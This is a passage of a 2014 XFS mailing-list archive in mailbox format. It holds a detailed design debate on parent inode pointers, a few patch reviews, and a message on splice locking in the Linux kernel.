NTBGNEM4Qzk0QzA4MjdBNEE4ODlBPiA8NUY1QkYwNDk3RjA0MjRBNzMxMzNENTk0OUQ3MDNDRkI+ IF0KL0luZm8gMTIgMCBSCi9QcmV2IDE4MzE3NQovUm9vdCAxIDAgUgovU2l6ZSAzMQovWFJlZlN0 bSAxODIwODAKPj4Kc3RhcnR4cmVmCjE4Mzc5OAolJUVPRg== ------=_20140117160624_28521-- From david@fromorbit.com Fri Jan 17 21:13:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E252629E0F for ; Fri, 17 Jan 2014 21:13:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 690CEAC001 for ; Fri, 17 Jan 2014 19:12:59 -0800 (PST) X-ASG-Debug-ID: 1390014773-04cb6c537ce634b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 09yWgrxqDBaHBwYE for ; Fri, 17 Jan 2014 19:12:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmwYAB3w2VJ5LKVw/2dsb2JhbAA/EAEBCIMLOIMCo3sDBY8phU+BChd0giUBAQEDAScTHCMFCwgDEgYJJQ8FJQMNFBECG4diBw42w1YXFo4NAQQBVgeDJIEUBJQ7g2WBMpBmg0EoBIEpAR4BBQ Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 18 Jan 2014 13:42:51 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W4ML1-00082y-Qs; Sat, 18 Jan 2014 14:12:47 +1100 Date: Sat, 18 Jan 2014 14:12:47 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. Message-ID: <20140118031247.GE18112@dastard> X-ASG-Orig-Subj: Re: [RFC 00/17] RFC parent inode pointers. References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> <52D99FD2.6000601@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D99FD2.6000601@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390014774 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144197 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Fri, Jan 17, 2014 at 03:25:38PM -0600, Mark Tinguely wrote: > On 01/15/14 23:56, Dave Chinner wrote: > >On Wed, Jan 15, 2014 at 04:00:12PM -0600, Mark Tinguely wrote: > >>Yeah, yeah, this has gotten buried several times and better get out on > >>the list for discussion before it gets buried yet again. > >> > >>Parent inode support allow XFS to quickly derive a file name and > >>path from the mount point. This can aid in directory/path policies > >>and can help relocate items during filesystem shrink. > >> > >> 1) Representation of a parent inode entry: > >> > >> There are several ways to represent the parent inode entry. > >> A 2005 XFS meeting came up with the following ideas: > >> > >> 1) Storing the parent inode# list inside the inode with a separate field > >> separate fork > > > >Too complex, rejected in the first few minutes of discussion. > > > >> 2) Storing the parent inode# list in EA names with null values > >> EA: > > > >Not uniquely identifying the filename of the inode in parent > >directory, so can't tell if name that points to inode is current. > >Hard links are impossible to handle. never implemented. > > > >> 3) As in (2) but store the 1st parent inode# in a field in the inode > >> first-parent-ptr + > > > >Same problem, didn't handle hard links. Also not enough space in the > >inode core to implement. > > > >> 4) As in (2) but store the hardlink names as EA values > >> EA: > > > >Same problem as 2, but added complexity in requiring multiple code > >paths to keep parent pointers up to date. Never answered the > >question of "when we remove the parent in the inode, who is the new > >"primary" parent? Never implemented. > > > >> 5) As in (2) but store the EAs on directories as well as leaf files > >> EAs on directories. > > > >Tried to solve problems with 4) by adding more information to > >directories. Even more complex, had problems with uniquely > >identifying hard links, really convoluted transaction contexts and > >locking. Never implemented. > > > >> 6) Storing the parent inode# + directory offset in EA names with null values > >> EA: > > > >Uniquely identifies the directory entry *slot*, but does not > >necessarily identify correct filename. Handled hard links if you > >ignore the parent identity uniqueness issue, but demonstrated > >unscalable name lookup behaviour. > > how is this the wrong file name? Because you can have a lookup/unlink/link race occur that puts a different dirent at the directory offset between the EA lookup and the locking of the parent directory. I suspect a lookup/rename race could result in the same problem. > How is a directory xfs_readname() in a ioctl unscalable? So you do a million reverse lookups. That requires a million ioctl calls to look up the reverse name attribute, plus a million times the directory depth of the child calls to read directory entries. i.e. the operation itself is fine, but it's the fact that it's required at all that is the scalability problem. i.e. random reverse name lookups will cause random directory IO to be done, and that does not scale to doing millions of lookups in a short period of time. > Adding file names to a EA, that limits scalability. Having to do a > EA sequential lookup in the remove/rename data paths to find a EA to > remove, that is unscalable. Yup, it does that, but that's just a basic, brute force wildcard search algorithm. I never said the 2009 patchset was perfect, just that it solves all the known problems and fulfils all the requires I've ever heard for parent pointer use cases and scalability. ie. for the majority of use cases, this behaviour is never going to be noticed as the attributes will be in line or in a single external leaf and iterated extremely quickly. Perhaps there's another tweak we can do to the attribute format that makes this search on removal behaviour go away. Perhaps all we need is an optimised attribute tree search-and-destroy operation.... > >> The preferred method was #6. > > > >As it was, this once looked like the solution. IIRC, this was the > >design that was implemented for Irix and shipped in 6.5.28 but was > >never used in production by anyone because of problems that became > >apparent after it was shipped. It was fundamentally flawed, and > >those flaws were uncovered when porting the Irix implementation to > >Linux. > > > > The Irix 6.5.X does not use this method. It uses stripped down > version of 2009 code. A combination. Ah, so it did keep the generation number. My mistake, I haven't been able to look at that code for more than 5 years, and I don't have any of the documentation that you have and keep referring to. :/ > >Using the directory offset was discovered to be problematic when > >there were multiple hardlinks into the same directory for the same > >inode. You can remove links and add links, and the only thing that > >changes is the diroffset. Hence to do a safe reverse lookup, you > >have to first lock the inode to stabilise the EA, then read the > >parent pointer to get the parent directory, then get the parent > >inode and lock it so that nobody is modifying it as we traverse it > >during a offset->name lookup. > > um, you are wrong, it is not this version of the code. It uses some > inode/generation combination. Sure, but your code doesn't use the inode/generation combination to identify the parent, and so it has this problem. The fact I misidentified what Irix implemented doesn't mean the problem I described does not exist.... > >But this violated the VFS directory tree locking order, which is > >parent->child. Think about a racing unlink that has locked the > >parent inode vs a parent pointer lookup that has lock the child and > >is trying to lock the parent. Once this problem was understood, > >using directory offsets was considered a non-starter for the linux > >port given how complex working around the inversion makes the > >reverse path lookups. > > > >I note that Mark's patch set will not trip over this, > >because the XFS_IOC_GETPARENTS_BY_HANDLE code never actually locks > >the child inode the handle points to. IOWs, it isn't safe against > >concurrent modification of the inode, and hence would never deadlock > >even if the problem was seen. It's more likely to have caused > >filesystem corruption or crashed. > > It has locked in the attribute iteration code. Only to read the attribute. Then the lock is dropped, and so the inode and attribute can be modified concurrently. You then use that parent inode number to look up the parent directory, but there is no validation that the parent directory obtained is still the same generation of the inode that the parent pointer attribute pointed at. IOWs, there's no locking at the child to stabilise the parent pointer at parent lookup time, nor is there any checks that the parent inode that is found is the version of the inode that the parent pointer attribute was pointing at. This code *needs* the parent inode generation number because of the locking model it uses. > I see your point on > the locking order and we cannot use a callback to get the name. > There are very simple solutions for that. Such as? > >Further, not storing the filename in the attribute value has > >scalability limitations. A reverse lookup requires reading the > >directory entry to get the filename, and so if you have large > >directories and/or a large number of reverse lookups to perform the > >cost is huge. Every lookup has to walk the bmbt tree to find the > >directory data block that contains the offset, then it needs to be > >read from disk, and then it needs to be iterated to find the correct > >entry. It's a huge amount of work, and it's unnecessary because we > >have the name of the file at the time the parent pointer EA is > >created... > > Happens only during the ioctl. The 2009 does far worse things in the > data path. Funnily enough, years ago we were always told that the reverse name lookup was the performance critical path for DMF. i.e. we weren't allowed to affect ongoing IO operations adversely when doing large numbers of reverse lookups, and so we optimised for that. Indeed, doing a single IO per reverse lookup was considered too much overhead. As such, you're missing a very important reason for putting the name in the attribute - DMAPI has a special bulkstat implementation that extracts in-line attributes along with the inode stat information. The parent attribute hence could be read via a bulkstat scan, and hence piggy-backed onto the DMF code that already did periodic scans of the fileystem. I have no idea whether DMF ever implemented this, but you should begin to see why doing per-inode recursive readdir walks to regenerate parent paths is about the least optimal method that can be used - it simply can't be optimised into efficient bulk operations that applications need to handle hundreds of millions of inodes in a filesystem.... > >The solution that SGI then settled on was this: > > > > 9) EA:, value= > > > >It solved all the unique identifier problems, and the lookup > >scalability issues and all the deadlocks, and that was what was > >implemented in the patch posted here in 2009: > > > > http://thread.gmane.org/gmane.comp.file-systems.xfs.general/27772 > > > >With the addition of the inode generation number, we can look up the > >parent inode without holding the child inode locked and know that we > >got the right inode by verifying the inode/gen tuple match on the > >inode we looked up. However, we haven't got the child locked, so we > >need to have some other method of knowing if the child is still in > >the directory once it is locked. (e.g. unlink/link races). > > The gen number changes only if the inode has been reallocated. You > have a parent inode and a filename, but you would have to do a > xfs_lookup to make sure that the parent is still the parent. xfs_lookup() doesn't tell you that the parent is still the parent. It only tells you that a pathname still exists. It could be a different inode that this pathname points to. If the directory is removed and the recreated immediately, it's different directory, but it might have the same inode number, and the only difference is the generation number. Further, races with rename can change the parent directory path without changing anything else - it doesn't change the child's parent pointer information at all, and so using lookup to confirm the path of the parent inode is correct is also racy and not sufficient to validate the fact you have the correct parent inode. Again, the only way to identify an inode uniquely when you do not holds the necesary locks to stabilise the pointer and the pointee is via the {inode, generation} pair. There is no other way this can be done. > >That's where the "count" field of the EA name comes from. Each > >inode keeps a separate "parent counter" attribute so that hard links > >to the same directory can be uniquely identified by the EA name. The > >initial inode create always uses a value of "1", and when the first > >hardlink is added the special attribute is created with a value of > >2, and that is used (and incremented) on every subsequent hard link. > >Hence every hardlink has a unique attribute name/value pair. > > This code has never be proven. Which means what? It was proven to solve the problems that we knew about at the time.... > It appears to me that this will > prevent one kind of link/unlink race but to prevent the other, you > need to hold the lock over the directory code and the EA code. > > >As a result, parent lookups (for path resolution or removal) can > >match on ino/gen/value, knowing that if we race with an unlink and a > >new hardlink of the *same name* there will be a second *unique* > >parent pointer attribute (under a ino/gen/cnt+N name) that has the > >same pointer information added to the tree for the new entry. Hence > >it is safe to use whatever parent pointer attribute for a given > >ino/gen/value we find because it is guaranteed to be valid for the > >operation we are about to perform. > > The other race is not getting the EA into the inode before trying to > remove it. Can't happen. I'm not sure that you noticed that the 2009 patchset added the parent EA in the same transaction that committed the directory modifications (for create, mkdir and symlink). Hence wasn't in a separate transaction and so the parent EA was created atomically with the inode/dirent entry, so the race condition you are worried about simple does not exist. Further, even if we ignore the above and assume that the attribute is added after the create transaction is committed and the inodes are unlocked, there is no race on the child inode introduced here. A link can't be unlinked until userspace can see the link, and that happens when the dentry cache is updated to point at the new link. That happens after the parent attribute is created, and so we are guaranteed that there is always a parent EA to remove when unlink is called. i.e, all the races are on parent inode operations which invalidate the child parent pointer. As such, the parent pointer object in the child needs sufficient information to detect that the parent is invalid.... > >A potential optimisation to improve it is that parent counter does > >not need to be in an EA. It's 32 bits, so can easily be added to the > >spare space in the v2 inode and avoid unnecessary attribute reads > >and writes on parent pointer creation. > > > >Hence the parent pointer structure and implementation in 9) solves > >all the known problems to do with hardlinks, scalability, locking > >order, code complexity etc, and it has relatively little additional > >runtime overhead. It also works for v4 filesystems - the proposed > >patch set cannot be made to work on older filesystem structures as > >there isn't room in the v2 inode for the fast-path fields. > > I know you love 2009, but lets talk about it scalability: > 1) larger EA will make xfs_rename/xfs_link slower, and limit the link > we can support. Yes, it will be slightly slower, but it doesn't introduce any new limitations on anything. Indeed, an EA was considered acceptible per-operation overhead before we had delayed logging - it's no more overhead than having a default ACL configured. And now all that an additional EA costs really is CPU overhead. Given that CPU is rarely the limiting factor for server workloads these days..... > why did they do this = to make an ioctl a bit faster? Minimising the IO and cpu overhead of individual lookups was considered extremely important for cases where large numbers of random lookups were required - DMF reporting/auditing tools needed to be able to do this for large number of individual filehandles at random times and had bound runtime limits. The scale we were given at the time (remember, this was 2005) was that it had to work well for filesystems containing hundreds of millions of inodes and having to do reverse lookups on a significant fraction of those inodes *every few hours*. Hence being able to use bulkstat to optimise large-scale reverse lookups is a killer feature that only the "name in attribute" method enables.... > still need to do xfs_lookups to make sure the names are still valid. Not necessarily - DMF listens to all the changes going on, so it can track which pathname *components* have been moved, unlinked, etc and so didn't need to revalidate the pathnames of every inode once it had rebuilt them from filehandles - only those whose pathname components where known to have changed. > 2) in remove and rename data paths, it iterates over all the EAs > looking for the EA it must remove. That is a non-starter for me. See my comments above about that. > >> On the other hand keeping the directory and extended attribute in one > >> transaction should keeping the changes atomic when the filesystem > >> is forced down between the directory and attribute changes. Despite > >> all the gore (see below) of doing the directory and attribute changes > >> in one transaction, I think it is the correct thing to do. > > > >Yes, I said that it was necessary a year ago and pointed you at how > >to do it: > > > >http://xfs.org/index.php/Improving_Metadata_Performance_By_Reducing_Journal_Overhead#Atomic_Multi-Transaction_Operations > > > > That would limit the log space, but would not help in holding locks > over the directory and EA code. You think the counts solve that > problem. It solves one problem but not all. The problem you think is there doesn't actually exist in the 2009 patchset because it does hold the inode locks over dirent and EA creation. > The lock order problem in the getparents/getparentpaths is simple. You've said that twice without describing the simple solution. Can you describe your solution, please? > But in any version, we cannot make sure the getparentpath paths are > correct because of lock ordering at least with the . Right, which is why the path reconstruction shouldn't be in the kernel - they can be invalid even before we've finishe dthe path walk, let alone retuned to userspace. With inode/gen being pushed to userspace with the filename, userspace can reconstruct and validate the pathname components individually and optimally.... Mark, don't get me wrong - the 2009 patchset is not perfect and it's not finished and it simply reflects what we knew at the time. When I refer to that patch, I'm comparing the architecture and design of the different parent pointer approaches, not the implementation. The design has to be sound before I care about the implementation and quality of the code. If we can't agree on basic architecture and design points, then we are most definitely not going to agree on the implementation. Right now, the design of thxp eproposed patchset does not address the critical problem of identifier uniqueness and ignores the bulk-lookup performance requirements that we know about. Addressing those are going to require a change of on-disk attribute format in that patch set and that invalidates the in-inode-core optimisations that have been made. IOWs, we need to solve the problem first, then optimise. So, what do we need in the parent pointer attribute to solve all the known problems? The implementation will flow cleanly from what we can store on disk, and we know that we need at least these things to solve all the known issues: * parent inode number and generation (unique identifier) * link disambiguation (unlink/link race detection) * filename (for bulk lookup performance) So the question is how to implement the link disambiguation efficiently. That is currently implemented in the 2009 patchset with a the monotonic increasing counter that is appended to the attribute name. Do we even need a generation count, or is there some other info we can use that uniquely identifies a dirent? While the diroffset of a filename is not unique enough to identify the child, I think the {diroffset,filename,child_inode} tuple is sufficient. That is, if the diroffset gets reused and points to a different filename, we can detect that from the contents of EA and abort. If a link of the same name is created, then we can check whether it points at the same inode. If it does, then we just don't care that there was a race because our current pointer is still valid. And we don't need to store the child inode number in the EA - we already have that in the child struct xfs_inode structure. That verification can even be done in userspace. Hence I think we've already got all the info we need if we make a hybrid format from the two approaches: name=parent_inode,gen,diroffset value=filename The inode/gen gives all the information we need to reliably identify the parent without requiring child->parent lock ordering, and allows userspace to do pathname component level reconstruction without the kernel ever needing to verify the parent itself as part of ioctl calls. And finally, by using the diroffset in the EA name, we have a method of knowing the exact parent pointer EA we need to modify/remove in rename/unlink without an unbound searching. I think that solves all the architectural issues that we know about with both implemenations. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Fri Jan 17 21:52:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EC0B77F52 for ; Fri, 17 Jan 2014 21:52:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C8C708F8074 for ; Fri, 17 Jan 2014 19:52:40 -0800 (PST) X-ASG-Debug-ID: 1390017159-04bdf00fe2780220001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id abYyP8G0TF4OTUq3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 19:52:39 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0I3qcCO021764 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 18 Jan 2014 03:52:38 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0I3qbHQ015927 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 18 Jan 2014 03:52:38 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0I3qbNs003968; Sat, 18 Jan 2014 03:52:37 GMT Received: from [192.168.1.106] (/123.119.105.25) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 17 Jan 2014 19:52:36 -0800 Message-ID: <52D9FA81.3030807@oracle.com> Date: Sat, 18 Jan 2014 11:52:33 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: remove unused tr_swrite References: <52D997BD.1090701@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: remove unused tr_swrite In-Reply-To: <52D997BD.1090701@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390017159 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144199 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/18 2014 04:51 AM, Eric Sandeen wrote: > tr_swrite is never used, remove it. > > From a very quick look, I think the usage of it (and its ancestor > XFS_SWRITE_LOG_RES) went away in commit 13e6d5cd "xfs: merge fsync > and O_SYNC handling" back in 2009. > > Signed-off-by: Eric Sandeen Looks good to me. Reviewed-by: Jie Liu Thanks, -Jeff From jeff.liu@oracle.com Fri Jan 17 22:16:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D7C1629E16 for ; Fri, 17 Jan 2014 22:16:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7F42CAC003 for ; Fri, 17 Jan 2014 20:16:47 -0800 (PST) X-ASG-Debug-ID: 1390018605-04cbb04169e79cc0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 8N1rqFhxVvmUU09x (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 20:16:46 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0I4Gimm006569 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 18 Jan 2014 04:16:45 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0I4Gio9026421 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 18 Jan 2014 04:16:44 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0I4GhRw017552; Sat, 18 Jan 2014 04:16:43 GMT Received: from [192.168.1.106] (/123.119.105.25) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 17 Jan 2014 20:16:43 -0800 Message-ID: <52DA0022.90601@oracle.com> Date: Sat, 18 Jan 2014 12:16:34 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: use tr_growrtalloc for growing rt files References: <1389989370-12159-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: use tr_growrtalloc for growing rt files In-Reply-To: <1389989370-12159-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1390018606 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144199 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/18 2014 04:09 AM, Brian Foster wrote: > This is a regression from the following commit: > > 3d3c8b5222b9 xfs: refactor xfs_trans_reserve() interface > > Use the tr_growrtalloc log reservation for growing the > bitmap/summary files. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_rtalloc.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c > index a6a76b2..ec5ca65 100644 > --- a/fs/xfs/xfs_rtalloc.c > +++ b/fs/xfs/xfs_rtalloc.c > @@ -842,7 +842,7 @@ xfs_growfs_rt_alloc( > /* > * Reserve space & log for one extent added to the file. > */ > - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtalloc, > resblks, 0); My previous mistake, thank you and Eric for catching up this. Reviewed-by: Jie Liu Thanks, -Jeff From viro@ftp.linux.org.uk Sat Jan 18 00:40:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CFA0D7F6F for ; Sat, 18 Jan 2014 00:40:59 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C202A8F8084 for ; Fri, 17 Jan 2014 22:40:56 -0800 (PST) X-ASG-Debug-ID: 1390027254-04cb6c537ce6c600001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id iShYRiJ5diUT8sk6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 22:40:55 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W4PaC-0007YR-N7; Sat, 18 Jan 2014 06:40:40 +0000 Date: Sat, 18 Jan 2014 06:40:40 +0000 From: Al Viro To: Christoph Hellwig Cc: Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Linus Torvalds , Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140118064040.GE10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140114172033.GU10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1390027254 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144202 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 14, 2014 at 05:20:33PM +0000, Al Viro wrote: > On Tue, Jan 14, 2014 at 05:22:07AM -0800, Christoph Hellwig wrote: > > On Mon, Jan 13, 2014 at 11:56:46PM +0000, Al Viro wrote: > > > On Mon, Jan 13, 2014 at 06:14:16AM -0800, Christoph Hellwig wrote: > > > > ping? Would be nice to get this into 3.14 > > > > > > Umm... The reason for pipe_lock outside of ->i_mutex is this: > > > default_file_splice_write() calls splice_from_pipe() with > > > write_pipe_buf for callback. splice_from_pipe() calls that > > > callback under pipe_lock(pipe). And write_pipe_buf() calls > > > __kernel_write(), which certainly might want to take ->i_mutex. > > > > > > Now, this codepath isn't taken for files that have non-NULL > > > ->splice_write(), so that's not an issue for XFS and OCFS2, > > > but having pipe_lock nest between the ->i_mutex for filesystems > > > that do and do not have ->splice_write()... Ouch... > > > > What would be the alternative? Duplicating the code in even more > > filesystems to enforce an non-natural locking order for filesystems > > actually implementing splice? There don't actually seem to be a whole > > lot of real filesystems not implemting splice_write, the prime use > > would be for device drivers or synthetic ones. I'm not even sure > > how much that fallback gets used in practice. Hmm... In principle, the following would be no worse than what generic_file_splice_write() is doing: confirm and map the pages, build an iovec and use ->aio_write() to write it out, then unmap the suckers, release ones entirely written to file and adjust the partially written one. All under pipe_lock(). Hell, if we introduce kernel_writev() (either by calling vfs_writev() or taking do_readv_writev() sans copying iovec and using that under set_fs()), we could switch default_file_splice_write() to that and get rid of ->splice_write() for the majority of filesystems, if not all of them. Sure, it means copying from pipe buffers to pagecache, but we have generic_file_splice_write() do that copy anyway - conditional memcpy() in pipe_to_file() is actually unconditional; that if (page != buf->page) in there had just been forgotten by Nick back in 2007 ("1/2 splice: dont steal"). Objections, comments? The problem Christoph was talking about is that generic_file_splice_write() plays with ->i_mutex and both gets/drops it for each page of IO *and* causes PITA for any fs that wants some locks of its own taken in addition to ->i_mutex on the write paths. What ->splice_write() without page stealing is doing is pretty much a writev() from array of pages in kernel space; so it looks like we might as well just reuse writev() guts for that... From linus971@gmail.com Sat Jan 18 01:22:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 